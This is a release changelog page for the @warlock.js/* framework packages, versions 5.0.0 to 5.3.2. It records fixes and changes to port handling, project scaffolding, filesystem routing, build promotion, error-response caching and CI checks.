Skip to content

Change Log

Shipped releases across the @warlock.js/* packages — one shared version line, newest first.

Filter
5.3.2
September 5, 2026

The release that made our own checks tell the truth. prettier --check had been reporting a clean workspace while checking four files, web had been failing 9 tests and its typecheck since before 5.3.0 with nothing saying so, and 57 interfaces imported as values were crashing the from-source boot. The release gate now runs every package’s own suite and refuses to pack a dirty one. Ports also stopped lying: a configured port is normalised before anything binds, the bound port is what gets reported, and a startup precondition that cannot clear itself stops instead of restart-looping forever. npm create warlock completes on a clean machine again.

@warlock.js/core Fixed 7
  • Fixed An HTTP_PORT that does not round-trip through Number()03999, " 3999", +3999, 1e3 — reached the HTTP boot path as a string. 1e3 bound port 1000 with no diagnostic anywhere, the port published to the ready signal was the raw configured value, and PortInUseError's suggestion string-concatenated into port: 039991. A configured port is now resolved to a canonical integer before anything binds, logs or reports it, and a value that cannot become one fails naming it.
  • Fixed An ambient environment variable that overrode the app's own .env did so silently. The precedence is unchanged and deliberate — a checked-in .env is a default, an exported variable is the situational override — but the app now prints one line naming the variable, the value in effect, and that it came from the process environment. Keys that look like secrets are named with their values redacted.
  • Fixed The port reported to a supervisor, to WARLOCK_TEST_SERVER_PORT and to the ready report was the configured port rather than the one actually bound. It is now read back from the address listen() resolves with, so the two can no longer diverge — including under http.port: 0, where the configured value carries no information at all.
  • Fixed warlock dev restart-looped forever on a startup precondition that could never clear itself, reprinting its own diagnostic every few seconds and then scrolling it away with the restart banner. A failed precondition now stops, prints once, and exits.
  • Fixed The port preflight ran after the database connected, so a busy port took 7–13 seconds to report on the warlock dev path. It now runs before the early-phase connectors, as it already did for a production build.
  • Fixed 57 interfaces were imported as values across the package, each one crashing warlock dev's from-source boot the moment its file reached the per-file transpiler — which has no type information and so cannot elide the import.
  • Fixed localized() lost its StandardSchemaV1 typing in the published 5.3.0 and 5.3.1 tarballs. The typing is restored.
create-warlock Fixed 4 Removed 1
  • Fixed npm create warlock could not complete on a clean machine. The starter's prepare script ran husky, which needs a git repository, and the scaffolder installs before it runs git init — so the install failed and the scaffolder aborted with an empty node_modules, with and without --no-git.
  • Fixed The first pnpm install in a fresh project failed with ERR_PNPM_IGNORED_BUILDS. pnpm writes pnpm-workspace.yaml with a literal esbuild: set this to true or false placeholder when it meets an ignored build script non-interactively, and then rejects that value on the next install. The template now ships a decided value, so pnpm never writes the placeholder.
  • Fixed A scaffolded app failed its own ESLint check on the first warlock dev. The web feature injected its connector import at the TOP of warlock.config.ts, ahead of the imports the template already had, and the generated app formats with prettier-plugin-organize-imports — so the injected line was out of order the moment it was written. It is now inserted in sorted position.
  • Fixed Running the scaffolder without a terminal — from CI, a script, or any non-interactive shell — died with TTY initialization failed: uv_tty_init returned EBADF, a libuv internal shown to a developer whose only mistake was not being at a keyboard. A missing terminal is no longer an error when the flags already answer every prompt; only a genuinely unanswerable question stops the run, and it names --yes and the flags that supply it.
  • Removed husky and its prepare script from the starter. Note what goes with it: the generated project ships no CI, so the format, lint, typecheck and test that ran on commit are gone with nothing yet replacing them. That gap is tracked separately.
@warlock.js/web Fixed 1
  • Fixed A page-file segment carrying a bracket but no complete group could reach the parameter-name read with nothing to read. Unreachable as the surrounding checks stand, and now stated as a guard rather than assumed, so a future narrowing of those checks fails here naming the segment instead of throwing further down.
5.3.1
September 4, 2026

A republish of 5.3.0 as one complete set. The 5.3.0 publish left the family's reciprocal exact peer requirements unsatisfiable from a fresh registry install, so npm create warlock@5.3.0 failed to resolve. 5.3.1 is the same code, verified by scaffolding, building and booting a real app from the public registry.

create-warlock Fixed 1
  • Fixed npm create warlock@5.3.1 resolves and runs. The 5.3.0 scaffolder could not install, because the family's reciprocal exact peer requirements were unsatisfiable from a fresh registry install.
@warlock.js/core Fixed 1
  • Fixed Republished the complete family so a clean install resolves. The 5.3.0 publish left the family's reciprocal exact peer requirements unsatisfiable from a fresh registry install; 5.3.1 is the same code, published as one complete set.
@warlock.js/web Fixed 1
  • Fixed Republished the complete family so a clean install resolves. Same code as 5.3.0, published as one complete set.
5.3.0
September 3, 2026

The silent-failure release. Routing now validates every page path it derives — a directory that owned a layout prefix was skipping classification, letting two pages resolve to the same URL — and a page's declared route.path is validated for the first time. Error responses gained a no-store floor, warlock gen emits handlers that actually compile against v5, and the web layer ships a real 404 page and request-bound localization.

@warlock.js/web Added 2 Fixed 6
  • Added A standalone Warlock 404 page, styled and served by the web layer.
  • Added Request-bound web localization: the active locale travels with the request rather than being read from ambient state.
  • Fixed The 404 page's stylesheet was imported through a Vite-only ?url&inline query, which the release bundler could not resolve — the web package could not be built for publication at all. The stylesheet URL is now produced by a plain module, guarded by a test that keeps the emitted markup byte-exact against the CSS file.
  • Fixed A directory that owned a layout prefix was never classified, so bracket syntax inside a group name went unexamined and two different pages could derive the same route. Every directory name is now validated before the route decides whether it contributes.
  • Fixed A page's DECLARED route.path was never validated — the validator had zero callers.
  • Fixed Bracket syntax inside a group name is rejected instead of silently deriving a route.
  • Fixed discover-pages now composes paths through the same validated seam as the rest of routing, so the two can no longer disagree.
  • Fixed An unobservable auth mark revokes a cache opt-in: unproven now means revoked, not assumed safe.
@warlock.js/core Changed 1 Fixed 3 Removed 1
  • Changed A request is marked auth-derived the moment user or decodedAccessToken is assigned, so cacheability is decided by what the request actually read rather than by a separate declaration.
  • Fixed Every error response was cacheable. The no-store floor is now set at the single error funnel, so an error can no longer be served from a cache to a second request.
  • Fixed warlock gen emitted controllers with v4 handler signatures — every generated controller failed to compile against the v5 contract. The generator now emits the v5 ctx object signature.
  • Fixed A validated file field was inferred as unknown; the sweep that found it found a second occurrence, and both are fixed.
  • Removed Five unreachable error branches that described a response the framework never sent.
create-warlock Added 1 Changed 1 Fixed 1
  • Added A browser gate for the freshly scaffolded starter, so the generated project is exercised in a real browser rather than assumed to work.
  • Changed The web starter template migrated to the current page contract, with a pinned home route identity so SSR and hydration agree on one route name.
  • Fixed The scaffolder no longer parses CSS as TypeScript.
5.2.4
September 2, 2026

Web starter HMR repair. warlock add web now isolates universal page registration in a stable sidecar so React Fast Refresh preserves component state while SSR and hydration keep the same lifecycle.

@warlock.js/core Fixed 1
  • Fixed warlock add web now writes universal page setup to src/web/index.register.ts and re-exports register() from the page, preserving component state across React Fast Refresh edits without changing SSR or hydration registration.
5.2.3
September 2, 2026

Generator repair. warlock add preserves exact Warlock family pins, while warlock add web emits a projection-safe generated page with one index identity shared by SSR and hydration plus deterministic favicon and form IDs that remove the generated-page console errors. Published fixes only: the Web starter remains under release-gate hold pending 5.2.4.

@warlock.js/core Fixed 2
  • Fixed warlock add now preserves exact lockstep versions for added Warlock family packages while retaining declared ranges for third-party dependencies.
  • Fixed warlock add web now emits a projection-safe register() hook and one index route identity for SSR and hydration, with deterministic form and favicon markup for a clean browser console.
@warlock.js/web Fixed 1
  • Fixed The generated Web starter now projects and hydrates unchanged with one index page identity, universal localization registration, and deterministic browser markup.
@warlock.js/access Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-anthropic Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-bedrock Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-deepseek Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-google Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-groq Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-live Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-mistral Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-ollama Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-openai Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-panoptic Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-tools Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-workspace Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/ai-xai Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/auth Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/cache Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/cascade Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/context Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/fs Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/herald Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/logger Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/notifications Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/scheduler Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
@warlock.js/seal Fixed 1
  • Fixed Released in exact lockstep with Core's Web generator repairs so every family dependency remains installable at 5.2.3.
create-warlock Fixed 1
  • Fixed New projects now resolve and stamp the coherent 5.2.3 family, making the repaired Web generator the default scaffold path.
5.2.2
September 2, 2026

Lockstep packaging repair. Restores exact 5.2.2 pins across the complete Warlock package family after the partial 5.2.0 and 5.2.1 releases could not satisfy reciprocal exact peers. Known issue: warlock add web generates an app that does not boot or hydrate.

@warlock.js/core Fixed 1
  • Fixed Restored exact 5.2.2 pins across the complete Warlock family. The partial 5.2.0 and 5.2.1 releases could not satisfy the family's reciprocal exact peer requirements in a clean install.
@warlock.js/web Fixed 1
  • Fixed Restored exact Core and Seal peer pins at the family's shared 5.2.2 version. The partial 5.2.1 release could not satisfy reciprocal family peer pins.
create-warlock Added 3
  • Added A resolver-boundary check (scripts/check-resolver-boundaries.mjs), run in CI. Every package.json in the checkout is treated as a publish boundary; the script walks each package's tsconfig.json paths and any vite.config.* / vitest.config.* alias and fails if one resolves outside its own package. A test/build-only alias that reaches into a sibling checkout (e.g. ../core/src) proves nothing about the published package — it resolves locally today and 404s the moment the package is installed on its own. Covered by specs/resolver-boundaries.spec.ts.
  • Added --help/--version are now exercised end to end (specs/cli-entry.spec.ts): both exit 0 before createNewApp runs — no prompt, filesystem write, or network call — and --help wins even over a positional project name and other flags. --version prints this package's own package.json version, pinned loosely (a bare semver-ish string) since the exact value drifts every release.
  • Added A CI workflow (.github/workflows/ci.yml), with two jobs: specs (resolver-boundary check, a --version smoke test asserting the built CLI's reported version matches package.json, then vitest) and scaffold-typecheck (the existing typecheck:scaffold gate, scaffolding a real project and installing it). specs runs on pushes to main/master and every pull request; both jobs also run nightly (schedule: cron "0 4 * * *") plus workflow_dispatch, since the scaffold-typecheck gate installs the framework from the registry and can go red from a framework release alone, without anyone touching this repo.
@warlock.js/ai-anthropic
@warlock.js/ai-bedrock
@warlock.js/ai-deepseek
@warlock.js/ai-google
@warlock.js/ai-groq
@warlock.js/ai-live
@warlock.js/ai-mistral
@warlock.js/ai-ollama
@warlock.js/ai-openai
@warlock.js/ai-panoptic
@warlock.js/ai-tools
@warlock.js/ai-workspace
@warlock.js/ai-xai
@warlock.js/context
@warlock.js/seal
5.2.1
September 2, 2026

Packaging repair. @warlock.js/core rebuilds the published manifest with the complete family registry and npm-resolvable internal ranges after 5.2.0 leaked workspace: specifications, while @warlock.js/web tightens its Core and Seal peer ranges; this partial family release still could not satisfy the family's reciprocal exact pins.

@warlock.js/core Fixed 1
  • Fixed Rebuilt the published package with the complete Warlock family registry and installable npm ranges for every internal dependency. The 5.2.0 registry manifest leaked six workspace: dependency specifications and could not be installed outside the monorepo.
@warlock.js/web Fixed 1
  • Fixed Tightened the Core and Seal peer ranges to ^5.2.0. Web 5.2 production code imports Core APIs that were not available in Core 5.0, while the former Seal * range promised compatibility across unrelated major versions.
5.2.0
September 2, 2026

Web routing and production-build release. @warlock.js/web adds filesystem-derived routes, error boundaries, universal registration, live development route updates, and stricter client safety; @warlock.js/core adds connector build hooks, warlock routes:diff, validated proxy configuration, atomic build promotion, and start-time artifact checks.

@warlock.js/web Added 5 Changed 8 Fixed 1
  • Added error.page.tsx — the application's one error boundary. It renders when a middleware, loader, or component throws; declares no route, exactly like 404.page.tsx; and a second error.page.tsx anywhere beneath src/web is a build error. Its component receives { error, status } — the real thrown value during SSR, a JSON-safe { name, message, stack? } after hydration. robots: noindex is a framework default on this path and cannot be overridden away. If the failure happens before any page module could load — a module-load or register() throw — the response falls back further, to a framework-owned boundary with no application code at all, and is served without a hydration script rather than risk hydrating against markup nothing can vouch for.
  • Added A page's route export is now optional. A *.page.tsx with no route derives its path and its name from its location beneath src/web: directories contribute segments, (group) directories contribute nothing, index.page.tsx claims its own directory, and [id] becomes :id. An explicit route still always wins over the derived one. This replaces the 5.1 behaviour, where an omitted route threw MissingRouteExportError at install time — that error class no longer exists.
  • Added Live page-route re-registration in warlock dev. Creating, deleting, or editing a page's route export used to require a manual restart to take effect — the route table was built once at boot and never again, so a renamed route kept serving its old path and a deleted page kept 404-ing at its old URL forever. The dev connector now re-registers the affected routes in place, atomically, with no dev-server restart and no loss of Vite's HMR state. A component-body-only edit still takes the ordinary Fast Refresh path; only membership and route-identity changes go through this path.
  • Added A dev-only diagnostic for a page file that exists but isn't reachable. When a request 404s, Warlock checks whether an unregistered *.page.tsx under src/web would have matched it, and if so, warns naming the file. This is the case that used to be silent: a page created after boot, or one whose route was edited to a path nothing else claims, previously 404'd with no explanation anywhere in the terminal.
  • Added export const register — an optional, synchronous, no-argument hook on root.tsx, layout.tsx, and *.page.tsx. It runs once per module namespace instance, on both the server and the browser, before that module's middleware or loader — the seam for one-time setup a page or layout needs on both sides of hydration. It must not return a Promise; returning one throws.
  • Changed Page requests now tolerate one trailing slash identically in development and production. /about and /about/ serve the same page; / remains the root path and case handling is unchanged. Previously the development dispatcher accepted the slash while the production Fastify route returned 404.
  • Changed BREAKING — process.env is refused entirely in the client/universal graph, and there is no PUBLIC_ exception. Neither a static key (process.env.PUBLIC_API_URL) nor a computed one (process.env[key]) is allowed: process does not exist in a browser, so there is no such thing as a "public" process.env key. Bare value-reads of the object now fail tooconst { X } = process.env, { ...process.env }, Object.keys(process.env), JSON.stringify(process.env), or passing it as an argument — which is the case that previously let an entire server environment reach a component in one line while every keyed read was being refused. globalThis.process.env, window.process.env and process["env"] are matched as well.
  • Changed ⚠ **BREAKING — a *.page.tsx with no default export is now a hard discovery/build failure, naming the file.** It previously built and registered, then served a blank 200 at its URL — a page that looked deployed, rendered nothing, and produced no error anywhere.
  • Changed Initial stylesheet links are route-scoped in development and production. Each response now links the ordered, deduplicated CSS chain for its own [root, ...matched layouts, page]. Production follows those source entries and their static imports in Vite's manifest instead of collecting CSS across the whole application; development promotes direct stylesheet imports from the matched page and layouts as well as the root. Unrelated page CSS no longer ships on every response, and page-local critical CSS no longer waits for hydration in development.
  • Changed The production static-asset refusal now names the working 5.2 alternative. Imported non-stylesheet assets still work under Vite in development but are refused by the esbuild server bundle rather than risk a server/client URL mismatch. The diagnostic now tells the developer to place the file under the application's public/ directory and reference its root URL (public/logo.svg/logo.svg) instead of waiting for an unspecified future server build. Stylesheet imports remain supported.
  • Changed Loader execution is sequential, root to leaf, and terminal responses stop lower work. The root.tsx App loader runs first, followed by every matched layout loader from outermost to innermost, then the page loader. The runtime has three top-level slots (app, layout, page), but the layout slot composes the full matched layout chain. A page still has at most one *rendering* layout; loader-only and middleware-only layouts may appear at multiple ancestry levels.
  • Changed Catch-all page routes are documented as unsupported. [...slug].page.tsx does not do what it looks like: filesystem routing recognizes only [name] as a dynamic segment, so [...slug] is taken as a literal segment and derives the path /docs/[...slug] and the name docs.[...slug] — reachable only at the literal URL /docs/%5B...slug%5D. ⚠ Nothing warns about it: no build error, no dev warning, no refusal, just a page that answers a URL nobody will request. A real catch-all is deferred; until then use a terminal wildcard with an explicit route (route = { path: "/docs/*" }). This entry records the gap, it does not close it.
  • Changed src/web is the only page root. A per-module src/app/<module>/web/ tree is no longer discovered, walked, or installed as a page root by either warlock dev or warlock build. Move any page, layout, or root file that lived under src/app/<module>/web/ into src/web/ (a subdirectory is fine — it still contributes a route segment the same way).
  • Fixed A custom 404.page.tsx loader no longer executes. The not-found page still registers and renders its real module namespace, but its request triple omits the page loader in both development and production. A missing URL therefore cannot trigger application data work, redirect, or fail a second time through the fallback itself.
@warlock.js/core Added 2 Changed 8 Fixed 3
  • Added Connectors can contribute to warlock build through an optional static build object. Configured connectors may define ordered, awaited generate(context) and emit(context) hooks without being booted or started. generate can add generated entry imports and a narrow esbuild patch; emit can produce non-esbuild artifacts after the server bundle. Unknown contribution keys, duplicate/reserved connector names, generated unresolved imports, and hook failures stop the build instead of producing a partial artifact.
  • Added warlock routes:diff — compares the live dev-server page-route surface against the last successful warlock build's snapshot (page-routes.manifest.json in the build outdir). Boots diagnostically (same fail-loud boot as warlock routes / warlock doctor — no connectors started), then reports changed / removed / added page routes and exits non-zero on drift; exits 0 with "Page routes match" when the two agree. Refuses to run (with an instruction to run warlock build first) when no snapshot exists yet, or when an existing one is malformed. A route whose path/name moved but whose source file didn't is reported as one changed line instead of a removed + added pair.
  • Changed Incoming routes now match with or without one trailing slash in both development and production. /about and /about/ dispatch to the same route; / remains /, query strings are preserved, and case matching is unchanged. Both router paths call the same request-path normalizer before matching instead of relying on different Fastify/find-my-way defaults.
  • Changed BREAKING — http.trustProxy is validated at boot, and a number is refused. The accepted shapes are exactly boolean, a non-empty string (a single IP/CIDR or several comma-separated), a non-empty string[], and an (address, hop) => boolean predicate; a missing or nullish value means false. Anything else — a number, "", [], an array with a non-string entry, a plain object — now throws a TypeError while the HTTP server is being constructed, before Fastify is instantiated, instead of being handed through and silently coerced
  • Changed warlock build writes into a temporary directory and promotes it only on success. The build no longer writes into outdir as it goes. It builds into a hidden sibling directory (.<outdir-basename>.build-<hex>, same volume so the promotion is a rename), writes a .warlock-build.json success marker ({ status, builtAt }) as its last step, then swaps the directory into place. A successful build therefore leaves no stale filesoutdir is replaced wholesale rather than merged over, so an artifact a previous build emitted and this one did not is gone. A failed build leaves no usable dist — the temp directory is removed and the error rethrown without outdir ever being touched, so a previous good build survives intact and no half-written one takes its place
  • Changed warlock start refuses a dist that was not produced by a successful build, and names that as the reason. It checks for the .warlock-build.json marker in outdir before spawning anything; missing, unreadable, malformed, or status !== "success" all exit 1 on stderr with
  • Changed warlock start surfaces the child process's real output on a failed boot. The production supervisor forwards every stdout/stderr chunk from the spawned bundle verbatim and live, and its failure summary now reports whether a cause actually arrived: the cause is printed above, in the application's own output when output was seen, and no output was captured from the application process — its cause did not reach this terminal when none was. It previously pointed at "above" unconditionally, which on a silent child meant pointing at an empty terminal
  • Changed The HTTP connector now preflights its port before binding. warlock dev and warlock start both go through HttpConnector.start(), which now calls assertPortIsAvailable(port, host) immediately before listen(). A collision now surfaces as EADDRINUSE: Port <port> is already in use on <host>. Stop the dev server (or whatever else is listening on port <port>) and run again... — the code and the port named in the same sentence — instead of a bare EADDRINUSE thrown from inside Fastify with no indication of which port it meant. EACCES on the port is treated the same way, since "cannot bind" is one problem from the operator's side. The test server (startHttpTestServer) already preflighted its port before this release; this brings dev/start to the same behavior.
  • Changed startHttpTestServer() now runs Application.runStartupValidators() — the same slot warlock dev and the generated production app.ts already ran it in — after application modules load and before the late-phase connectors (http, socket) bind. A validator registered via Application.onValidateBoot(...) that rejects now aborts the test server's boot exactly as it aborts dev/start, instead of only being enforced outside of tests.
  • Changed warlock add web scaffolds a real, validated API endpoint, not just a static page. It now also writes src/app/contact/routes.ts and src/app/contact/controllers/contact.controller.ts (a POST /api/contact route validated with @warlock.js/seal), and src/web/home.page.tsx ships an interactive, localized (en/ar) contact form wired to that route via @mongez/http + @mongez/react-form + @mongez/react-localization. The web feature now also installs those three packages as dependencies.
  • Fixed **Feature definitions no longer carry stale ~4.0.0 defaults for @warlock.js/*.** They now use an explicit internal placeholder that warlock add must resolve from the installed Core version before invoking a package manager or writing package.json. A forgotten resolution therefore fails loudly instead of silently selecting an old framework major.
  • Fixed startHttpTestServer() fails loudly instead of silently skipping the preflight when http.port doesn't round-trip through Number() (e.g. HTTP_PORT=03999, +3999, 1e3, or a value with stray whitespace) — previously it returned early and let the connector reach listen({ port }) with the unvalidated value and no published port for test workers to resolve.
  • Fixed A race in the mail SES driver where getSesMailer() could read the eagerly-loaded nodemailer module before its load promise had settled. It now awaits the in-flight load first (throwing the "nodemailer is not installed" install-instructions error if the load ultimately failed), matching the guard the SMTP path already had.
5.1.0
August 26, 2026

@warlock.js/web repairs published React hydration and adds an application-owned 404 page, typed metadata, and safer Fast Refresh boundaries; @warlock.js/core adds Tailwind and shadcn setup commands.

@warlock.js/web Added 3 Changed 1 Fixed 2 Removed 1
  • Added 404.page.tsx — an app-owned not-found page. It renders only when text/html is explicitly present in the request's Accept header, so an unmatched /api/... path still returns the JSON 404 an API client expects rather than a document. It renders with no layouts: discovery reports an empty layout chain for this page only, so the client hydration registry matches what the server has always rendered instead of wrapping a failure page in chrome that can itself throw or need data. Ordinary pages beside it keep their full layout chain, and nested-layout refusal on its path is unchanged.
  • Added export const metadata is typed (PageMetadata) and checked at build time. An unannotated object literal with a misspelled key — { tittle: "x" } — now fails the build, naming the file, the line and the offending key. It previously typechecked as a plain object and was silently ignored at runtime.
  • Added Fast Refresh in dev now applies only when an edit is confined to component bodies. Any module-level change — an import, a module-level declaration, or any server export, metadata included — forces a full page reload instead of a stale hot update; a JSX-only edit still hot-updates in place with component state intact.
  • Changed **warlock dev now refuses a *.page.tsx that exports no route**, throwing MissingRouteExportError and naming the file. It previously 404'd silently, so a missing export const route looked like a routing bug at request time. This matches what warlock build already did — dev and build now reject the same file.
  • Fixed React did not run at all in published installs of 5.0.0 through 5.0.2. The dev Vite server served react-dom/client as raw CJS, so hydrateRoot did not exist and the hydration module threw while being parsed. This one defect is the cause of all four symptoms reported against those versions: useState never updated, Fast Refresh never ran, metadata never refreshed, and <Link> fell back to a full page reload. Fixed by declaring the React entries in the dev server's optimizeDeps so they are pre-bundled to ESM before the browser asks for them. This is not a hydration *improvement* — hydration did not happen.
  • Fixed The browser was loading two copies of every @warlock.js/web client module. Module-level state (context, the navigation runtime) existed twice, so a value written through one copy was invisible to the component reading the other.
  • Removed A false comment shipped in 5.0.0 through 5.0.2 claiming that a page's route is derived from its file location. No such derivation has ever existed in this package; the route comes from the page's route export and nothing else. The comment is gone from the scaffold emitted by warlock add web, but every app scaffolded on 5.0.0, 5.0.1 or 5.0.2 still carries it in its own source — delete it by hand.
@warlock.js/core Added 2 Changed 2 Removed 1
  • Added warlock add tailwind — installs and wires Tailwind CSS v4 through PostCSS.
  • Added warlock add shadcn — sets up the prerequisites shadcn/ui expects. It is *not* a wrapper around the shadcn CLI: you still run that yourself to add components, this only makes the project ready for it.
  • Changed warlock dev prints one status block per run. The banner is printed exactly once, and the URL it prints is never a raw [::1] address. The single-boot guard behind this is new in this release — it was never present in any published version, so duplicate boots on 5.0.x were real, not a display artefact.
  • Changed warlock doctor now reports the same route count as warlock dev. The two walked routes differently and disagreed. doctor also emits zero warnings on a healthy project — so a warning now means something — and fails loudly on a route module that genuinely fails to load, instead of counting it as fine.
  • Removed A false comment that the warlock add web scaffold emitted in 5.0.0 through 5.0.2, claiming a page's route is derived from its file location. No such derivation has ever existed. The stub no longer emits it; apps already scaffolded on those versions still carry the comment in their own source and must delete it by hand.
create-warlock Added 2 Changed 2
  • Added The scaffold typechecks from a fresh install, and a CI gate keeps it that way. A newly created project previously could fail tsc on its own generated source.
  • Added A real home page, replacing the placeholder — it includes a counter whose working state is proof that hydration actually ran in the browser.
  • Changed src/typings.d.ts is now the sanctioned home for RequestLocals / RequestUser module augmentation. The file is generated with both augmentation blocks stubbed and commented, so there is one obvious place to declare per-request typed data.
  • Changed Replaced stale scaffold values that had been carried forward: the wow2 project name and the 4.15.0 dependency version no longer appear in generated projects.
5.0.2
2026-08-25
@warlock.js/web Fixed 1
  • Fixed <Head/> read an empty document context under SSR. The connector now sets ssr.noExternal: ["@warlock.js/web"] in web-connector.ts. Without it the server loaded two instances of this package — one externalised, one bundled — so the context the renderer wrote to was not the one <Head/> read from. A published 5.0.1 install that returned 500 on a page request returns 200 after this fix.
5.0.1
2026-08-25
@warlock.js/web Changed 1 Fixed 1
  • Changed Narrowed the vite peer dependency to ">=7.3.5 <8", so a consumer resolving vite for this package cannot land on a version outside the range it is built against.
  • Fixed Internal: a test in gate-b-secrets.spec.ts depended on the ambient NODE_ENV and failed depending on how the suite was invoked. No runtime behaviour changed.
create-warlock Fixed 1
  • Fixed The warlock binary was never linked in a yarn-1 scaffold. Installing the batched features under yarn 1 hit an *Invariant Violation* in yarn's linker, which aborted the install before node_modules/.bin was written — leaving a scaffolded project whose own warlock command did not exist. App.pinViteResolution() now writes matching resolutions and overrides entries for vite into the generated package.json *before* the batched feature install runs, so a single vite version is resolved and the linker completes.
5.0.0
2026-08-25
create-warlock Added 1 Changed 2
  • Added The project creator now offers the web feature for Warlock SSR pages.
  • Changed Scaffold command failures are captured and reported instead of allowing later success output to hide a failed dependency install, Git initialization, feature addition, or cache warm-up.
  • Changed Generated route handlers use the new request-context argument shape, and generated cache configuration honors CACHE_DRIVER.
@warlock.js/seal Changed 2
  • Changed IP validation no longer imports Node's net module, so the same IPv4 and IPv6 rules can run in browser bundles.
  • Changed Optional validators now skip value rules only for absent values; present empty values such as "" are validated instead of passing through with the wrong output type.
@warlock.js/web Added 1 Changed 1
  • Added SSR React pages with hydration, client navigation, route metadata, shared data, and Vite integration.
  • Changed The hydration runtime is packaged as its own public entry, and production/dev route wiring now resolves the packaged client manifest and stylesheets.
@warlock.js/ai Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-anthropic Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-bedrock Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-deepseek Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-google Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-groq Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-live Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-mistral Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-ollama Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-openai Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-panoptic Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-tools Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-workspace Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/ai-xai Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/auth Changed 1
  • Changed Authentication can now use an explicit header or named-cookie credential source and a configurable canAuthenticate policy; invalid credentials are distinguished from server and configuration failures instead of turning every verification error into a 401.
@warlock.js/cache Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/cascade Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/context Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/core Added 1
  • Added request.requireUser() — returns the authenticated user non-optionally, or throws UnAuthorizedError when no user is attached. For handlers behind an auth guard, where an absent user is a misconfigured route rather than a normal state; replaces request.user! assertions
@warlock.js/fs Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/herald Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/logger Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/notifications Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/scheduler Changed 1
  • Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.
@warlock.js/access
4.16.0
August 18, 2026

